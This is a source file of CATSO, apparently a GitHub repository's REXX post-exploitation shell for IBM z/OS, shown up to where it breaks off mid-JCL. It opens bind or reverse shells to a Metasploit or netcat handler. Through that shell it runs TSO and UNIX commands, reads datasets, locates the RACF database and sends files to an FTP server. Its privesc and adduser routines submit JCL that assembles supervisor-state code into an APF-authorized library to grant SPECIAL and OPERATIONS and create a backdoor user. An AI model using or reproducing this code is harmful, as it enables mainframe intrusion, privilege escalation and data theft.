├── CATSO.rexx ├── README.md └── TShOcker.py /CATSO.rexx: -------------------------------------------------------------------------------- 1 | /* REXX */ 2 | /* Catso. n. 1. A base fellow; a rogue; a cheat, */ 3 | /* also a z/OS Network TSO 'shell' */ 4 | /* */ 5 | /* CaTSO is a A "meterpreter" like shell written in REXX. */ 6 | /* Yet another amazing mainframe tool brought to you by: */ 7 | /* . . . */ 8 | /* .___________ ._________. */ 9 | /* : . / : : */ 10 | /* | |____/________| _____| */ 11 | /* |____. | | | */ 12 | /* | | | : | ______: */ 13 | /* | | | | | | . */ 14 | /* :_________|________|___| */ 15 | /* . Soldier of Fortran */ 16 | /* (@mainframed767) */ 17 | /* */ 18 | /* This is a REXX script meant to run in TSO on IBM z/OS */ 19 | /* It creates a Listener or Reverse 'shell' on a supplied port */ 20 | /* Connect to it with either metasploit or netcat */ 21 | /* */ 22 | /* Either upload the script and execute: tso ex 'userid.zossock' */ 23 | /* or use a JCL file and execute it that way */ 24 | /* On the PC side you can use Netcat or Metasploit to connect. */ 25 | /* */ 26 | /* In Listener Mode */ 27 | /* ================ */ 28 | /* On the Mainframe: */ 29 | /* L Port */ 30 | /* */ 31 | /* With Metasploit: */ 32 | /* msf > use multi/handler */ 33 | /* msf exploit(handler) > set payload generic/shell_bind_tcp */ 34 | /* payload => generic/shell_bind_tcp */ 35 | /* msf exploit(handler) > set RHOST IP (Mainframe IP Address) */ 36 | /* msf exploit(handler) > set LPORT Port (the port you picked) */ 37 | /* msf exploit(handler) > exploit */ 38 | /* */ 39 | /* With Netcat: */ 40 | /* $ nc IP Port */ 41 | /* */ 42 | /* In Reverse Mode */ 43 | /* ================ */ 44 | /* With Metasploit: */ 45 | /* msf > use multi/handler */ 46 | /* msf exploit(handler) > set payload generic/shell_reverse_tcp */ 47 | /* payload => generic/shell_reverse_tcp */ 48 | /* msf exploit(handler) > set lhost your-ip-address */ 49 | /* msf exploit(handler) > set LPORT your-port */ 50 | /* msf exploit(handler) > exploit */ 51 | /* */ 52 | /* With Netcat: */ 53 | /* $ nc -lp your_port */ 54 | /* */ 55 | /* On the Mainframe: */ 56 | /* R your-ip-addredd your-port */ 57 | /* */ 58 | /* ASCII Art modified from: */ 59 | /* http://sixteencolors.net/pack/rmrs-03/DW-CHOOS.ANS */ 60 | /* */ 61 | /* Let's start the show! */ 62 | /* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ 63 | 64 | /* Uncomment this line to turn on debugging */ 65 | /* TRACE I */ 66 | /* change verbose to 1 to see results on the screen */ 67 | verbose = 1 68 | 69 | if verbose then say '' 70 | if verbose then say '' 71 | if verbose then say '' 72 | pwd = userid() 73 | NEWLINE = "25"x /* this is the hex equivalent of EBCDIC /n */ 74 | 75 | PARSE ARG type arghost argport 76 | 77 | /* Parse the arguments to see what we want to do */ 78 | SELECT 79 | WHEN type = 'L' THEN 80 | DO 81 | IF arghost = '' THEN 82 | DO 83 | if verbose then say "[+] You specified Listener without a port." 84 | if verbose then say "Using default: 12345" 85 | arghost = 12345 86 | END 87 | if verbose then say '[+] Listening on port:' arghost 88 | party = MATT_DAEMON(arghost) 89 | END 90 | WHEN type = 'R' THEN 91 | DO 92 | IF arghost = '' | argport = '' THEN 93 | DO 94 | SAY '[!] You must pass a host and port when using Reverse' 95 | EXIT 4 96 | END 97 | if verbose then say '[+] Sending shell to' arghost||":"||argport 98 | ttime = RIVER_SONG(arghost,argport) /* Reverse Connection */ 99 | END 100 | OTHERWISE /* Excellent */ 101 | PARSE SOURCE . . . . name . 102 | say "No arguments passed! Run this as either server or client:" 103 | say "Reverse Shell: '"||name||"' 'R IP PORT'" 104 | say "Listener Shell: '"||name||"' 'L PORT'" 105 | EXIT 4 106 | END /* End the arguments parser */ 107 | 108 | MATT_DAEMON: /* Starts the listener mode */ 109 | parse arg port 110 | terp = SOCKET('INITIALIZE','DAEMON',2) 111 | /* terp is short for z-terpreter */ 112 | parse var terp terp_rc . 113 | IF terp_rc <> 0 THEN 114 | DO 115 | if verbose then say "[!] Couldn't create socket" 116 | exit 1 117 | END 118 | terp = Socket('GetHostId') 119 | parse var terp socket_rc MF_IP . 120 | terp = Socket('Gethostname') 121 | parse var terp src hostname 122 | /* setup the socket */ 123 | terp = SOCKET('SOCKET') 124 | parse var terp socket_rc socketID . 125 | if socket_rc <> 0 then 126 | DO 127 | if verbose then say "[!] Socket FAILED with info:" terp 128 | terp = SOCKET('TERMINATE') 129 | exit 1 130 | END 131 | 132 | /* Setup: ASCII conversion, Reuse, no linger and non-blocking */ 133 | terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_REUSEADDR','ON') 134 | terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_LINGER','OFF') 135 | terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_KEEPALIVE','ON') 136 | terp = Socket('IOCTL',socketID,'FIONBIO','ON') 137 | terp = Socket('BIND',socketID,'AF_INET' port MF_IP) 138 | parse var terp connect_rc rest 139 | if connect_rc <> 0 then 140 | DO 141 | if verbose then say "[!] Bind Failed:" terp 142 | CALL DAVID_COULIER(1) 143 | END 144 | if verbose then say "[!] IP" MF_IP "and Port" port "opened" 145 | terp = Socket('Listen',socketID,2) 146 | parse var terp src . 147 | if src > 0 then DAVID_COULIER(1) 148 | if verbose then say '[+] Server Ready' 149 | 150 | clients = '' 151 | DO FOREVER /* Like, forever forever? A: Yes. */ 152 | terp = Socket('Select','READ' socketID clients 'WRITE' 'EXCEPTION') 153 | parse upper var terp 'READ' readin 'WRITE' writtin 'EXCEPTION' exceptin 154 | 155 | IF INLIST(socketID,readin) THEN /* see if we have a new socket */ 156 | DO 157 | terp = Socket('Accept',socketID) 158 | parse var terp src hackerID . hport hip 159 | if verbose then say "[!] Connection from "||hip||":"||hport 160 | clients = hackerID 161 | if verbose then say '[+] Hacker socket ID' clients 162 | terp = Socket('Socketsetstatus') 163 | parse var terp src . status 164 | if verbose then say '[+] Current Status' status 165 | terp = Socket('Setsockopt',hackerID,'SOL_SOCKET','SO_ASCII','ON') 166 | terp = Socket('Ioctl',hackerID,'FIONBIO','ON' ) 167 | terp = SOCKET('SEND',hackerID, "Enter command or 'help'> ") 168 | END /* end new connection check */ 169 | /* If the READ is our hacker socket ID then do all the goodness */ 170 | /* since there's only one socket allowed, it will only be that id */ 171 | if readin = hackerID THEN 172 | DO 173 | ARNOLD = commando(hackerID) /* get the command */ 174 | if verbose then say "[+] Commands received: "||ARNOLD 175 | parse = CHOPPA(hackerID,ARNOLD) /* Get the cmd to da choppa! */ 176 | END 177 | END /* OK not forever */ 178 | 179 | return 0 180 | 181 | RIVER_SONG: /* Get it? Reverse Con, connection? Yea you got it! */ 182 | PARSE ARG rhost, rport 183 | terp = SOCKET('INITIALIZE','CLIENT',2) 184 | /* terp is short for z-terpreter */ 185 | terp = SOCKET('SOCKET',2,'STREAM','TCP') 186 | parse var terp socket_rc socketID . 187 | if socket_rc <> 0 then 188 | do 189 | if verbose then say "[!] Socket FAILED with info:" terp 190 | terp = SOCKET('TERMINATE') 191 | exit 1 192 | end 193 | terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_KEEPALIVE','ON') 194 | /* Okay now we setup so it can do EBCDIC to ASCII conversion */ 195 | terp = SOCKET('SETSOCKOPT',socketID,'SOL_SOCKET','SO_ASCII','On') 196 | parse var terp ascii_rc . 197 | if ascii_rc <> 0 then 198 | do 199 | if verbose then say "[!] Setting ASCII mode failed:" terp 200 | exit 1 201 | end 202 | terp = SOCKET('SOCKETSETSTATUS','CLIENT') 203 | if verbose then say "[+] Socket Status is" terp 204 | terp = SOCKET('CONNECT',socketID,'AF_INET' rport rhost) 205 | parse var terp connect_rc rest 206 | if connect_rc <> 0 then 207 | do 208 | if verbose then say "[!] Connection Failed:" terp 209 | CALL DAVID_COULIER(4) 210 | end 211 | if verbose then say "[!] Connection Established to", 212 | rhost||":"||rport 213 | terp = SOCKET('SEND',socketID, "Enter command or 'help'> ") 214 | 215 | DO FOREVER /* The never end storyyyyy */ 216 | ARNOLD = commando(socketID) /* get the command */ 217 | if verbose then say "[+] Commands received: "||ARNOLD 218 | parse = CHOPPA(socketID,ARNOLD) /* get the cmd to da choppa! */ 219 | END /* Atreyu! */ 220 | return 0 221 | 222 | DAVID_COULIER: /* CUT. IT. OUT. */ 223 | parse arg exito . 224 | terp = SOCKET('CLOSE',socketID) 225 | EXIT exito 226 | return 0 227 | 228 | CHOPPA: 229 | parse arg sockID, do_it 230 | parse var do_it do_it do_commands 231 | /* We have our socket and commands not lets do this */ 232 | SELECT 233 | WHEN do_it = 'sysinfo' THEN 234 | DO 235 | send_it = GET_OS_INFO() 236 | if verbose then say '[!] Sending OS Info' 237 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 238 | END 239 | WHEN do_it = 'apf' THEN 240 | DO 241 | send_it = list_apf() 242 | if verbose then say '[!] Sending APF Info' 243 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 244 | END 245 | WHEN do_it = 'cat' THEN 246 | DO 247 | send_it = CAT_FILE(do_commands) 248 | if verbose then say '[!] Catting file' do_commands 249 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 250 | END 251 | WHEN do_it = 'cd' THEN 252 | DO 253 | if verbose then say '[!] CD to' do_commands 254 | send_it = NEWLINE||"cd to "||do_commands||NEWLINE 255 | pwd = do_commands 256 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 257 | END 258 | WHEN do_it = 'pwd' THEN 259 | DO 260 | send_it = NEWLINE||UPPER(pwd)||NEWLINE 261 | if verbose then say '[!] Sending PWD of:' pwd 262 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 263 | END 264 | WHEN do_it = 'ls' THEN 265 | DO 266 | IF do_commands = '' THEN 267 | send_it = LS(sockID,pwd) 268 | ELSE 269 | send_it = LS(sockID,do_commands) 270 | if verbose then say '[!] Sending LS COMMAND' 271 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 272 | END 273 | WHEN do_it = 'cp' THEN 274 | DO 275 | send_it = CP(do_commands) 276 | if verbose then say '[!] Copying' do_commands 277 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 278 | END 279 | WHEN do_it = 'del' | do_it = 'delete' THEN 280 | DO 281 | send_it = DELETE(do_commands) 282 | if verbose then say '[!] Deleting' do_commands 283 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 284 | END 285 | 286 | WHEN do_it = 'unix' THEN 287 | DO 288 | send_it = UNIX_COMMAND(do_commands) 289 | if verbose then say '[!] Sending UNIX COMMAND' 290 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 291 | END 292 | WHEN do_it = 'tso' | do_it = 'execute' THEN 293 | DO 294 | send_it = TSO_COMMAND(do_commands) 295 | if verbose then say '[!] Executing TSO Command' do_commands 296 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 297 | END 298 | WHEN do_it = 'ftp' THEN 299 | DO 300 | send_it = UPLOAD_FILE(do_commands) 301 | if verbose then say '[!] Using FTP to upload to' do_commands 302 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 303 | END 304 | WHEN do_it = 'getuid' THEN 305 | DO 306 | send_it = GET_UID() 307 | if verbose then say '[!] Sending UID' 308 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 309 | END 310 | WHEN do_it = 'lsmem' THEN 311 | DO 312 | IF do_commands = '' THEN 313 | send_it = LS_MEMBERS(pwd) 314 | ELSE 315 | send_it = LS_MEMBERS(do_commands) 316 | if verbose then say '[!] Sending Members' 317 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 318 | END 319 | WHEN do_it = 'ipconfig' | do_it = 'ifconfig' THEN 320 | DO 321 | send_it = GET_IP_INFO() 322 | if verbose then say '[!] Sending IP Info' 323 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 324 | END 325 | WHEN do_it = 'racf' THEN 326 | DO 327 | send_it = GET_RACFDB() 328 | if verbose then say '[!] Sending RACF Database Dataset Name' 329 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 330 | END 331 | WHEN do_it = 'privesc' THEN 332 | DO 333 | send_it = PRIVESC(do_commands) 334 | if verbose then say '[!] Sending RACF Database Dataset Name' 335 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 336 | END 337 | WHEN do_it = 'adduser' THEN 338 | DO 339 | send_it = ADDUSER(do_commands) 340 | if verbose then say '[!] Sending RACF Database Dataset Name' 341 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 342 | END 343 | WHEN do_it = 'help' THEN 344 | DO 345 | send_it = GET_HELP() 346 | if verbose then say '[!] Sending Help' 347 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 348 | END 349 | WHEN do_it = 'quit' | do_it = 'exit' THEN 350 | DO 351 | if verbose then say '[!] POP POP!' 352 | CALL DAVID_COULIER(0) /* jackalope */ 353 | END 354 | OTHERWISE /* The end of our options */ 355 | if verbose then say '[!] Unrecognized Command' 356 | END /* End the select section */ 357 | terp = SOCKET('SEND',sockID, "Enter command or 'help'> ") 358 | return 0 359 | 360 | INLIST: procedure 361 | arg sock, socklist 362 | 363 | DO i = 1 to words(socklist) 364 | if words(socklist) = 0 365 | then return 0 366 | if sock = word(socklist,i) 367 | then return 1 368 | end 369 | 370 | return 0 371 | 372 | commando: /* GET IN DA CHOPPA */ 373 | parse arg socket_to_use 374 | /* get commands */ 375 | choppa = '' 376 | sox = SOCKET('RECV',socket_to_use,10000) 377 | parse var sox s_rc s_type s_port s_ip s_results 378 | parse var sox s_rc s_data_len s_data_text 379 | if s_rc <> 0 then 380 | do 381 | if verbose then say "[!] Couldn't get data" 382 | CALL DAVID_COULIER(1) 383 | end 384 | /* Strip off the last byte cause it's all weird */ 385 | chopper = DELSTR(s_data_text, LENGTH(s_data_text)) 386 | return chopper 387 | 388 | 389 | GET_UID: /* returns the UID */ 390 | text = NEWLINE||"Mainframe userID: "||userid()||NEWLINE 391 | return text 392 | 393 | GET_IP_INFO: 394 | /* Uses TSO command 'netstat home' to get IP config */ 395 | /* Requires TSO segment */ 396 | x = OUTTRAP('var.') 397 | address tso "NETSTAT HOME" 398 | parse var var.1 a1 a2 a3 a4 a5 a6 a7 a8 type . 399 | text = NEWLINE||"TCP/IP Name:" type||NEWLINE 400 | IPADDR = SOCKET('GETHOSTID') 401 | parse var IPADDR ip_rc ip_addr 402 | text = text||"Connected using IP Address: "||ip_addr||NEWLINE||NEWLINE 403 | j = 1 404 | DO i = 5 TO var.0 405 | parse var var.i garbage ip_addr link flag_sp 406 | flag = SPACE(flag_sp,0) 407 | text = text||"Interface "||j||NEWLINE||"=========="||NEWLINE, 408 | "Name : "||link||NEWLINE, 409 | "IPv4 Address : "||ip_addr||NEWLINE, 410 | "Flag : "||flag||NEWLINE||NEWLINE 411 | j = j + 1 412 | end 413 | x = OUTTRAP(OFF) 414 | return text 415 | 416 | GET_RACFDB: 417 | /* Gets the dataset (aka file) name of the RACF database */ 418 | /* This requires a TSO segment */ 419 | x = OUTTRAP('var.') 420 | address tso "RVARY LIST" 421 | parse var var.4 active1 use1 num1 volume1 dataset1_sp 422 | parse var var.5 active2 use2 num2 volume2 dataset2_sp 423 | dataset1 = SPACE(dataset1_sp,0) 424 | dataset2 = SPACE(dataset2_sp,0) 425 | if use1 = 'PRIM' then 426 | text = NEWLINE||"Primary"||NEWLINE||"========"||NEWLINE 427 | else 428 | text = NEWLINE||"Backup"||NEWLINE||"========"||NEWLINE 429 | 430 | text = text||" Active : "||active1||NEWLINE, 431 | "FileName : "||dataset1||NEWLINE||NEWLINE 432 | if use2 = 'PRIM' then 433 | text = text||"Primary"||NEWLINE||"========"||NEWLINE 434 | else 435 | text = text||"Backup"||NEWLINE||"========"||NEWLINE 436 | 437 | text = text||" Active : "||active2||NEWLINE, 438 | "Filename : "||dataset2||NEWLINE 439 | x = OUTTRAP(OFF) 440 | return text 441 | 442 | UNIX_COMMAND: 443 | /* Executes a UNIX command (aka OMVS) */ 444 | parse arg unix_command 445 | CALL BPXWUNIX unix_command,,out. 446 | text = ''||NEWLINE /* blank out text */ 447 | DO i = 1 TO out.0 448 | text = text||out.i||NEWLINE 449 | END 450 | return text 451 | 452 | TSO_COMMAND: 453 | /* outputs the results of a TSO command */ 454 | parse arg tso_do 455 | text = NEWLINE||"Issuing TSO Command: "||tso_do||NEWLINE 456 | u = OUTTRAP('tso_out.') 457 | ADDRESS TSO tso_do 458 | u = OUTTRAP(OFF) 459 | DO i = 1 to tso_out.0 460 | text = text||tso_out.i||NEWLINE 461 | END 462 | return text 463 | 464 | GET_OS_INFO: 465 | /* z/OS Operating System Information */ 466 | /* Lots of help from the LPINFO script from */ 467 | /* www.longpelaexpertise.com.au */ 468 | cvtaddr = get_dec_addr(16) 469 | zos_name = Strip(Storage(D2x(cvtaddr+340),8)) 470 | ecvtaddr = get_dec_addr(cvtaddr+140) 471 | zos_ver = Strip(Storage(D2x(ecvtaddr+512),2)) 472 | zos_rel = Strip(Storage(D2x(ecvtaddr+514),2)) 473 | sysplex = Strip(Storage(D2x(ecvtaddr+8),8)) 474 | jes_p = SYSVAR('SYSJES') 475 | parse var jes_p jes . 476 | jes_node = jes||' (Node: '|| SYSVAR('SYSNODE')||')' 477 | security_node = get_security_system(cvtaddr+992) 478 | text = NEWLINE, 479 | "Computer : LPAR "|| zos_name||NEWLINE, 480 | "Sysplex : "||sysplex||NEWLINE, 481 | "OS : z/OS" zos_ver||.||zos_rel||NEWLINE, 482 | "Job Entry : "||jes_node||NEWLINE, 483 | "Security : "||security_node||NEWLINE, 484 | "Meterpreter : z/OS REXX"||NEWLINE 485 | return text 486 | 487 | get_dec_addr: /* Needed for GET_OS_INFO */ 488 | parse arg addr 489 | hex_addr = d2x(addr) 490 | stor = Storage(hex_addr,4) 491 | hex_stor = c2x(stor) 492 | value = x2d(hex_stor) 493 | return value 494 | get_security_system: /* needed for GET_OS_INFO */ 495 | parse arg sec_addr 496 | cvtrac = get_dec_addr(sec_addr) 497 | rcvtid = Storage(d2x(cvtrac),4) 498 | if rcvtid = 'RCVT' then return 'RACF' 499 | if rcvtid = 'RTSS' then return 'CA Top Secret' 500 | if rcvtid = 'ACF2' then return 'CA ACF2' 501 | return 0 502 | 503 | CAT_FILE: 504 | /* Cats a file and returns it to the screen */ 505 | parse arg meow . 506 | cat = STRIP(meow) 507 | ADDRESS TSO "ALLOC F(intemp) DSN('"||cat||"') SHR" 508 | ADDRESS TSO "EXECIO * DISKR intemp (FINIS STEM TIGER." 509 | ADDRESS TSO "free file(intemp)" 510 | text = NEWLINE||'File: '||meow||NEWLINE 511 | text = text||'File Length: '||TIGER.0||NEWLINE 512 | DO i = 1 TO TIGER.0 513 | text = text||TIGER.i||NEWLINE 514 | 515 | END 516 | return text 517 | 518 | CP: /* Uses a JCL to copy one file to the other */ 519 | parse arg from_DS to_DS 520 | IF to_DS = '' THEN 521 | DO 522 | text = NEWLINE||"cp command requires a to and a from.", 523 | "You only supplied: "||from_DS||NEWLINE 524 | return text 525 | END 526 | DROPBUF 0 527 | queue "//CPTHATS EXEC PGM=IEBGENER" 528 | queue "//SYSPRINT DD SYSOUT=*" 529 | queue "//SYSIN DD DUMMY" 530 | queue "//SYSUT1 DD DSN="||from_DS||",DISP=SHR" 531 | queue "//SYSUT2 DD DSN="||to_DS||"," 532 | queue "// LIKE="||from_DS||"," 533 | queue "// DISP=(NEW,CATLG,DELETE)," 534 | queue "// UNIT=SYSDA" 535 | queue "/*" 536 | queue "@#" 537 | v = OUTTRAP('sub.') 538 | ADDRESS TSO "SUB * END(@#)" 539 | v = OUTTRAP(OFF) 540 | text = NEWLINE||"File "||from_DS||" copying to "||to_DS||NEWLINE 541 | return text 542 | 543 | DELETE: 544 | /* Deletes a file or dataset member */ 545 | parse arg deleteme . 546 | IF deleteme = '' THEN 547 | DO 548 | text = NEWLINE||"You didn't supply a dataset to delete" 549 | return text 550 | END 551 | d = OUTTRAP('tdel.') 552 | ADDRESS TSO "DELETE '"||deleteme||"'" 553 | /* if you don't put '' around a dataset it prepends your userid */ 554 | d = OUTTRAP(OFF) 555 | text = NEWLINE 556 | DO i = 1 to tdel.0 557 | text = text||NEWLINE||tdel.i 558 | END 559 | return text 560 | 561 | UPLOAD_FILE: 562 | /* Uploads a file from the mainframe to an FTP server */ 563 | /* It submits a JOB which uploads the file */ 564 | /* FYI this doesn't always work with a debian FTP server */ 565 | parse arg ftp_server username password dataset binary . 566 | DROPBUF 0 /* clear the buffer */ 567 | queue "//FTP EXEC PGM=FTP," 568 | queue "// PARM='"||ftp_server||" (EXIT' " 569 | queue "//SYSMDUMP DD SYSOUT=* " 570 | queue "//SYSPRINT DD SYSOUT=* " 571 | queue "//INPUT DD * " 572 | queue username 573 | queue password 574 | if binary = "binary" then queue put "binary" 575 | queue "put '"||dataset||"'" 576 | queue "quit " 577 | queue "/*" 578 | queue "@#" 579 | ADDRESS TSO "SUB * END(@#)" 580 | text = NEWLINE||"Uploading file "||dataset||" to "||ftp_server, 581 | "using user name"||username||"." 582 | if binary = "binary" then 583 | text = text||" Using Binary transfer mode." 584 | else 585 | text = text||" Not using Binary transfer mode." 586 | return text 587 | 588 | LS: 589 | /* Lists datasets given a high level qualifier (hlq) */ 590 | parse arg suckit, hilevel . 591 | filez = STRIP(hilevel) 592 | IF filez = '' then filez = USERID() 593 | hedr = NEWLINE||" Listing Files: " filez||".*"||NEWLINE, 594 | "========================================="||NEWLINE 595 | terp = SOCKET('SEND',suckit, hedr) 596 | text = NEWLINE 597 | b = OUTTRAP('ls_cmd.') 598 | ADDRESS TSO "LISTC LEVEL("||filez||")" 599 | b = OUTTRAP(OFF) 600 | filed = 1 601 | DO i = 1 to ls_cmd.0 602 | IF filed THEN 603 | DO 604 | text = text||ls_cmd.i||NEWLINE 605 | filed = 0 606 | END 607 | ELSE 608 | filed = 1 609 | END 610 | 611 | return text 612 | 613 | LS_MEMBERS: 614 | /* Lists datasets given a 'high level qualifier, or HLQ */ 615 | parse arg hilevelmem . 616 | text = NEWLINE 617 | x = OUTTRAP('members.') 618 | ADDRESS TSO "LISTDS '"||hilevelmem||"' members" 619 | x = OUTTRAP(OFF) 620 | DO i = 7 TO members.0 621 | members.i = STRIP(members.i) 622 | text = text||'--> '||hilevelmem||"("||members.i||")"||NEWLINE 623 | END 624 | return text 625 | 626 | UPPER: 627 | /* Of all the built-in functions, this isn't one of them */ 628 | PARSE UPPER ARG STRINGED 629 | return STRINGED 630 | 631 | LOWER: procedure 632 | parse arg string 633 | return TRANSLATE(string, xrange('a','z'), xrange('A','Z')) 634 | 635 | PRIVESC: 636 | parse arg dsn_apf 637 | if dsn_apf ='' then 638 | return("! apf authorized dataset name required" newline) 639 | 640 | t = apf_privesc(dsn_apf) 641 | return(t) 642 | 643 | 644 | ADDUSER: 645 | parse arg dsn_apf 646 | if dsn_apf ='' then 647 | return("! apf authorized dataset name required" newline) 648 | 649 | t = apd_add_user(dsn_apf) 650 | return(t) 651 | 652 | 653 | apf_privesc: 654 | parse arg dsn_input 655 | call listdsi "'"dsn_input"'" 656 | 657 | if sysdsorg <> "PO" then do 658 | return("! Cannot find APF Library '"dsn_input"', or not PDS") 659 | 660 | end 661 | 662 | priv = check_priv(dsn_input) 663 | 664 | if (priv == "NONE") then do 665 | return("! Not enough privileges to alter APF library "dsn_input) 666 | end 667 | 668 | if (priv == "READ") then do 669 | return("! Not enough privileges to alter APF library "dsn_input) 670 | end 671 | if priv=="NO RACF PROFILE" then do 672 | text = "! Warning: No RACF profile defined for"||, 673 | ""dsn_input", might not be uptable" 674 | end 675 | 676 | t = launch_payload(dsn_input) 677 | 678 | return(text||newline||t) 679 | 680 | launch_payload: 681 | APF_DSN = arg(1) 682 | PROG = rand_char(6) 683 | reply = "+ Compiling " PROG "in" dsn_input newline 684 | QUEUE "//ELVAPF JOB (JOBNAME),'XSS',CLASS=A,NOTIFY=&SYSUID" 685 | QUEUE "//*" 686 | QUEUE "//BUILD EXEC ASMACL" 687 | QUEUE "//C.SYSLIB DD DSN=SYS1.SISTMAC1,DISP=SHR" 688 | QUEUE "// DD DSN=SYS1.MACLIB,DISP=SHR" 689 | QUEUE "//C.SYSIN DD *" 690 | QUEUE " CSECT" 691 | QUEUE " AMODE 31" 692 | QUEUE " STM 14,12,12(13)" 693 | QUEUE " BALR 12,0" 694 | QUEUE " USING *,12" 695 | QUEUE " ST 13,SAVE+4" 696 | QUEUE " LA 13,SAVE" 697 | QUEUE "*" 698 | QUEUE " MODESET KEY=ZERO,MODE=SUP" 699 | QUEUE " L 5,X'224' POINTER TO ASCB" 700 | QUEUE " L 5,X'6C'(5) POINTER TO ASXB" 701 | QUEUE " L 5,X'C8'(5) POINTER TO ACEE" 702 | QUEUE " NI X'26'(5),X'00'" 703 | QUEUE " OI X'26'(5),X'B1' SPE + OPER + AUDITOR ATTR" 704 | QUEUE " NI X'27'(5),X'00'" 705 | QUEUE " OI X'27'(5),X'80' ALTER ACCESS" 706 | QUEUE "*" 707 | QUEUE " L 13,SAVE+4" 708 | QUEUE " LM 14,12,12(13)" 709 | QUEUE " XR 15,15" 710 | QUEUE " BR 14" 711 | QUEUE "*" 712 | QUEUE "SAVE DS 18F" 713 | QUEUE " END" 714 | QUEUE "/*" 715 | QUEUE "//L.SYSLMOD DD DISP=SHR,DSN="||APF_DSN||"" 716 | QUEUE "//L.SYSIN DD *" 717 | QUEUE " SETCODE AC(1)" 718 | QUEUE " NAME "||PROG||"(R)" 719 | QUEUE "/*" 720 | QUEUE "//STEP01 EXEC PGM="||PROG||",COND=(0,NE)" 721 | QUEUE "//STEPLIB DD DSN="||APF_DSN||",DISP=SHR" 722 | QUEUE "//STEP02 EXEC PGM=IKJEFT01,COND=(0,NE)" 723 | QUEUE "//SYSTSIN DD *" 724 | QUEUE " ALU "||userid()||" SPECIAL OPERATIONS" 725 | QUEUE "/*" 726 | QUEUE "//SYSIN DD DUMMY" 727 | QUEUE "//SYSTSPRT DD SYSOUT=*" 728 | QUEUE "//*" 729 | QUEUE "$$" 730 | 731 | o = OUTTRAP("output.",,"CONCAT") 732 | address tso "SUBMIT * END($$)" 733 | o = OUTTRAP(OFF) 734 | 735 | return(reply) 736 | 737 | 738 | apd_add_user: 739 | APF_DSN = arg(1) 740 | PROG = rand_char(6) 741 | USER = rand_char(8) 742 | PASS = rand_char(8) 743 | USERUC = UPPER(USER) 744 | USERLC = LOWER(USER) 745 | reply = "+ Compiling " PROG "in" APF_DSN newline 746 | QUEUE "//ELVAPF JOB (JOBNAME),'XSS',CLASS=A,NOTIFY=&SYSUID" 747 | QUEUE "//*" 748 | QUEUE "//BUILD EXEC ASMACL" 749 | QUEUE "//C.SYSLIB DD DSN=SYS1.SISTMAC1,DISP=SHR" 750 | QUEUE "// DD DSN=SYS1.MACLIB,DISP=SHR" 751 | QUEUE "//C.SYSIN DD *" 752 | QUEUE " CSECT" 753 | QUEUE " AMODE 31" 754 | QUEUE " STM 14,12,12(13)" 755 | QUEUE " BALR 12,0" 756 | QUEUE " USING *,12" 757 | QUEUE " ST 13,SAVE+4" 758 | QUEUE " LA 13,SAVE" 759 | QUEUE "*" 760 | QUEUE " MODESET KEY=ZERO,MODE=SUP" 761 | QUEUE " L 5,X'224' POINTER TO ASCB" 762 | QUEUE " L 5,X'6C'(5) POINTER TO ASXB" 763 | QUEUE " L 5,X'C8'(5) POINTER TO ACEE" 764 | QUEUE " NI X'26'(5),X'00'" 765 | QUEUE " OI X'26'(5),X'B1' SPE + OPER + AUDITOR ATTR" 766 | QUEUE " NI X'27'(5),X'00'" 767 | QUEUE " OI X'27'(5),X'80' ALTER ACCESS" 768 | QUEUE "*" 769 | QUEUE " L 13,SAVE+4" 770 | QUEUE " LM 14,12,12(13)" 771 | QUEUE " XR 15,15" 772 | QUEUE " BR 14" 773 | QUEUE "*" 774 | QUEUE "SAVE DS 18F" 775 | QUEUE " END" 776 | QUEUE "/*" 777 | QUEUE "//L.SYSLMOD DD DISP=SHR,DSN="||APF_DSN||"" 778 | QUEUE "//L.SYSIN DD *" 779 | QUEUE " SETCODE AC(1)" 780 | QUEUE " NAME "||PROG||"(R)" 781 | QUEUE "/*" 782 | QUEUE "//STEP01 EXEC PGM="||PROG||",COND=(0,NE)" 783 | QUEUE "//STEPLIB DD DSN="||APF_DSN||",DISP=SHR" 784 | QUEUE "//************************************************ " 785 | QUEUE "//* " 786 | QUEUE "//* Create a user with a random password, TSO and OMVS segments " 787 | QUEUE "//* " 788 | QUEUE "//************************************************" 789 | QUEUE "//*-----------------------------------------------" 790 | QUEUE "//*-----------------------------------------------" 791 | QUEUE "//* Define symbols for the job steps " 792 | QUEUE "//E1 EXPORT SYMLIST=(USERUC,USERLC,NAME,MAINGRP,INSTID)" 793 | QUEUE "//S1 SET USERUC="||USERUC||"" 794 | QUEUE "//S2 SET USERLC='"||USERLC||"'" 795 | QUEUE "//S4 SET MAINGRP=MYGROUP" 796 | QUEUE "//S4 SET INSTID=CUS" 797 | QUEUE "//S3 SET NAME='Hacked'" 798 | QUEUE "//ADDUSER EXEC PGM=IKJEFT01 " 799 | QUEUE "//SYSTSPRT DD SYSOUT=* " 800 | QUEUE "//SYSTSIN DD *,SYMBOLS=JCLONLY " 801 | QUEUE " ADDUSER &USERUC - " 802 | QUEUE " DFLTGRP(&MAINGRP) - " 803 | QUEUE " OWNER(IBMUSER) - " 804 | QUEUE " NAME('&NAME') - " 805 | QUEUE " PASSWORD("||PASS||") - " 806 | QUEUE " TSO( - " 807 | QUEUE " ACCTNUM(ACCT#) - " 808 | QUEUE " 